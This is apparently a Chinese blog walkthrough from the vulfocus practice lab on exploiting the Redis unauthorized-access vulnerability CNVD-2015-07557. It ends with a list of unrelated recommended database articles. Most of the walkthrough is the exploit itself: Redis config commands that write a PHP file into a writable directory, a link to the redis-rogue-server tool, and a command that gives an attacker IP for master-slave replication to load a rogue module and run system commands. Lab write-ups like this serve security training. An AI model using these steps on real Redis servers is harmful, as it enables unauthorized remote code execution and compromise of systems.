vulfocus靶场redis 未授权访问漏洞之CNVD-2015-07557

目标系统的权限不够redis 用户无法写计划任务和公钥,而且也没有开放ssh端口。

主从复制getshell,写入恶意的so文件达到执行系统命令的目的。

github上有一键可以利用的脚本

https://github.com/n0b0dyCN/redis-rogue-server.git

利用条件:需要web目录有读写权限,只有读权限会失败

工具连接:redis-rogue-server

向目标写入文件(前提是目标有网站)

config set dir /tmp #创建临时目录

config set dbfilename 1.php #写入文件

set test "<?php phpinfo(); ?>" #向文件中写入内容

bgsave #保存

save #保存

证明web目录具有写权限,可以进行利用

确认靶机有可写权限后,

利用:攻击机进入到cd redis-rogue-server文件夹里面

python3 redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost 攻击者服务器IP

成功后,可以执行命令

ls /tmp即可得到flag

相关推荐
XDHCOM4 分钟前
ORA-41722权限不足引发数据库变更通知故障,Oracle报错修复与远程处理方案引热议
数据库·oracle
修己xj7 分钟前
人大金仓 KingbaseES V8 数据库 Docker 部署指南
数据库
Yushan Bai22 分钟前
windows环境oracle 11.2.0.1版本数据库启动报错ORA-01589问题的处理
数据库·oracle
予早24 分钟前
Redis 设置库的数量
数据库·redis·缓存
OxyTheCrack26 分钟前
【C++】一文详解C++智能指针自定义删除器(以Redis连接池为例)
c++·redis
奔跑吧树袋熊38 分钟前
Oracle 9i 与 19c 跨版本字符集乱码(US7ASCII ↔ AL32UTF8)DBLink 解决方案
数据库·oracle
byzh_rc42 分钟前
[AI编程从入门到入土] 配置文件
java·数据库·ai编程
黑金IT43 分钟前
vLLM本地缓存实战,重复提交直接复用不浪费算力
人工智能·缓存
oradh44 分钟前
Oracle数据库模式、对象的入门概述
数据库·oracle·oracle数据库基础
雷工笔记1 小时前
SQL语句解析:DESC LIMIT 1
数据库·sql